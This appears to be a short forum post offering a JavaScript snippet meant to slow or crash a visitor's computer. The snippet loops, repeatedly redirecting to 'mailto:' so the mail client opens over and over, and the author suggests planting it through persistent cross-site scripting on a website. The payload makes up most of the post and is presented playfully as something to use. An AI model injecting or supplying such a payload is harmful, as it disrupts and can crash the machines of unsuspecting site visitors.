[Jscript]Slow/DoS a Client

This script can cause a client DoS or even crash their computer.
Can be used in persistent XSS -- Please be careful and don't run on yourself...Unless you really want to.

As Always, have fun in the world.

Script:
<script>var x=150;while(x>0){document.location="mailto:";x--;}</script>
*Obviously, X = How many times to open. :D
-Your Friend
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